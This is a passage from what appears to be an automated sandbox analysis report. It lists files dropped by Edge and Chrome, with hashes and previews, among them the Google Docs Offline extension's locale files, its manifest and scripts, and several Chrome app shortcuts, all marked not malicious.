                                SHA-512:E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\zh_CN\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):879
                                Entropy (8bit):5.7905809868505544
                                Encrypted:false
                                SSDEEP:
                                MD5:3E76788E17E62FB49FB5ED5F4E7A3DCE
                                SHA1:6904FFA0D13D45496F126E58C886C35366EFCC11
                                SHA-256:E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
                                SHA-512:F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\zh_HK\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1205
                                Entropy (8bit):4.50367724745418
                                Encrypted:false
                                SSDEEP:
                                MD5:524E1B2A370D0E71342D05DDE3D3E774
                                SHA1:60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
                                SHA-256:30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
                                SHA-512:D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\zh_TW\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):843
                                Entropy (8bit):5.76581227215314
                                Encrypted:false
                                SSDEEP:
                                MD5:0E60627ACFD18F44D4DF469D8DCE6D30
                                SHA1:2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
                                SHA-256:F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
                                SHA-512:6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\zu\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):912
                                Entropy (8bit):4.65963951143349
                                Encrypted:false
                                SSDEEP:
                                MD5:71F916A64F98B6D1B5D1F62D297FDEC1
                                SHA1:9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
                                SHA-256:EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
                                SHA-512:30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_metadata\verified_contents.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):11024
                                Entropy (8bit):5.7535502654223265
                                Encrypted:false
                                SSDEEP:
                                MD5:B74774A76E2EBA7E7D1BC9084F2DDFD8
                                SHA1:A054D55F8F69BD4728266EE889DC6002139A84C6
                                SHA-256:2ED862A6E79666081F78A83BA3E39DF823D329D329ACF35B1F19E87E90B9D088
                                SHA-512:2D5E58B9533CB498A808B3FDB43A10108FB96F2F3B959561FE859926C9152A3866911C9463C52C486A0031B39881BE332529A4861BDD247F1277BF06D809D46F
                                Malicious:false
                                Reputation:unknown
                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\dasherSettingSchema.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):854
                                Entropy (8bit):4.284628987131403
                                Encrypted:false
                                SSDEEP:
                                MD5:4EC1DF2DA46182103D2FFC3B92D20CA5
                                SHA1:FB9D1BA3710CF31A87165317C6EDC110E98994CE
                                SHA-256:6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
                                SHA-512:939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
                                Malicious:false
                                Reputation:unknown
                                Preview:{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\eventpage_bin_prod.js

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (4369)
                                Category:dropped
                                Size (bytes):101461
                                Entropy (8bit):5.397102915873049
                                Encrypted:false
                                SSDEEP:
                                MD5:59076AAB2186365E9892E4F465855149
                                SHA1:7928E5F1B3F9D34B00865D91E36786C978F44EF2
                                SHA-256:AC51EAA606C3DBB06839E86D67003CD072D251305E2C67E3C92FDE080896653A
                                SHA-512:15085F01758B0EC636A69455B57946B1867700FCBD256EC52EC0CEED9F68F569ED0B92942998D4C88E4B1CA25A58A934D2EF88C23F3415A697575CA4B515E63B
                                Malicious:false
                                Reputation:unknown
                                Preview:'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f||"")+"_"+e++,f)}function c(f,g

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\manifest.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2397
                                Entropy (8bit):5.423941875432813
                                Encrypted:false
                                SSDEEP:
                                MD5:D5C2307E326E9CDD9F3FB44D5389D968
                                SHA1:F7E51ABD69BBF3DEB17C2159946B189C35DB0F72
                                SHA-256:7A80C8C6EF18A27ECC31AF7CDB0E26C4CD756009202B45F79F4D3FB372B72B3E
                                SHA-512:038A0379AD7DF393332BDC985257EADE55B50C30BC5A90C32D6B9D626639AD7FB8DB5D0B1FEFCF99DD5C978646091E1EFF38552DC6C891F192D1037224488529
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "persistent": false,.. "scripts": [ "eventpage_bin_prod.js" ].. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/*", "https://drive.google.com/*", "https://drive-autopush.corp.google.com/*", "https://drive-daily-0.corp.google.com/*", "https://drive-daily-1.corp.google.com/*", "https://drive-daily-2.corp.google.com/*", "https://drive-daily-3.corp.google.com/*", "https://drive-daily-4.corp.google.com/*", "https://drive-daily-5.corp.google.com/*", "https://drive-daily-6.corp.google.com/*", "https://drive-preprod.corp.google.com/*", "https://drive-staging.corp.google.com/*" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": "script-src 'self'; object-src 'self'",.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "matches": [ "htt

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\page_embed_script.js

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):291
                                Entropy (8bit):4.644891151983713
                                Encrypted:false
                                SSDEEP:
                                MD5:EE9839F99DED6F38DC561DB846B51E80
                                SHA1:DD2128A473C2FF47471400C81EFF416285DE606E
                                SHA-256:06E08E421EB7F0FE7959D68E27D40A9146A54503090D95CFAC6F2FFD72A78769
                                SHA-512:C8D77607F00CB8012CD056CE61CB77918EC43621270511303E09577F89CC57D4954E22E2C8C3FB1029AAE29F8142DAAE2E938CD5590AD0E5DE6DB1208AFEF874
                                Malicious:false
                                Reputation:unknown
                                Preview:(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=2;}).call(this);.

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 29 21:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2673
                                Entropy (8bit):3.982926444089053
                                Encrypted:false
                                SSDEEP:
                                MD5:B096851968963E219FA2933ADCC6E6DE
                                SHA1:A4B75165284BB0C1B3A9157A6075C65860491B55
                                SHA-256:41CEB4DF8708B754A98D91E8CDDE5462C53F7CB42B397ABB841F8EB2C07AD69E
                                SHA-512:54CAF08E3748D1B67268C5864239716E6B0E8D8FA469BE5E8E1194B89F02E75DED75134E8251D4C980D1647826D44357064D64738CA8FBC3BA07347CD8BADA0D
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,......<.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Q7......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 29 21:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2675
                                Entropy (8bit):3.996695445878286
                                Encrypted:false
                                SSDEEP:
                                MD5:BEEF8D2FA9A36B94FF3CD02CCE3F1A92
                                SHA1:50DE28A6A53BBB61B20B1E23A2C1CF8CB62C2CC6
                                SHA-256:62B0EE245E1A4664B412789BB184405E8E47A209E44C27AF16DBF8297AB221C7
                                SHA-512:53F0C61EA3B9FCFC41094633B4FDE82C3C9B3C91C88CCB9F2FF8E2257A917B2126D4654128F6BF92BA56FFF7F7C80F77782F9343A3ED91B5490477FFCD1D8E99
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,....U.1.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Q7......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2689
                                Entropy (8bit):4.0056658025258765
                                Encrypted:false
                                SSDEEP:
                                MD5:0989CA24407B051FE407A97E242F3B61
                                SHA1:435FC19971ABB2967426B72E18337DC8D95446BC
                                SHA-256:E342E0E2FBDF0CBADA166E2EC20CFE5356942DFB2D911B10367A033D517F63EB
                                SHA-512:E783F2DBA3ED5316F6C5A5D0AC402A36B7B6920084EA465148B202F3EE254580DC3988E997B87D0788C46A1EDC077A86ADFA2616FA490B8CE009A52EB08AA2AF
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Q7......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 29 21:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2677
                                Entropy (8bit):3.995539482820123
                                Encrypted:false
                                SSDEEP:
                                MD5:6A13618D965AC9E30BE0B70C7FBB0E95
                                SHA1:2716FE3AB10698F370D5A94D63C298F9A9B7A4C6
                                SHA-256:90B317712F8FCB74F7629C8E3A68F93DFACAC1F446DCBA06E9D8679A312337EC
                                SHA-512:4FBB3F7099637250C9755B3172DE28A21D089A5921E448B223B728BB4DBE8061B6D13E677456F7183EDDBD2A23686600D5D5BC6E696BF5F09FD62B94B93F0054
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,....QY,.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Q7......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 29 21:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2677
                                Entropy (8bit):3.9845138631516237
                                Encrypted:false
                                SSDEEP:
                                MD5:0E558DF4F1B0CE9C6B8BFD5788377FE3
                                SHA1:4D7E111483EB4FEF26C18C35474B5C7519EB8333
                                SHA-256:CD196BEA9ED2BF45D4D348CF2F0A8576A0169A6FA6957C598BFBC1542C261397
                                SHA-512:1AC53C2F238B9A21F2CD0CF612CABD93933118726FC454CE57175D5E77ACB47445C7FF3C39B40B1A60AE867E70895F30B3B2010157507895554FAD23E102F878
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,......7.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Q7......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 29 21:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2679
                                Entropy (8bit):3.9942121002329998
                                Encrypted:false
                                SSDEEP:
                                MD5:ACAFD34F0162A534447E2EE47F538934
                                SHA1:B3969DA8FA0E4E9D797AE5A50C4906A427266B49
                                SHA-256:CA887D8F202AB32A7A5ED650C8E01A5AC7A11150989AF6C229E5AD4CF2ACB204
                                SHA-512:43B82BA54682017E7869E4F6C101E0584CFD0E706858C281C3C528434A7F4EBFFF9D0736DF4C3134EE5A64675E445378FA17782E6BDF0111881C84C04D671F9A
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,....6.$.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Q7......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                Static File Info

                                General

                                File type:HTML document, ISO-8859 text, with very long lines (6257), with CRLF line terminators
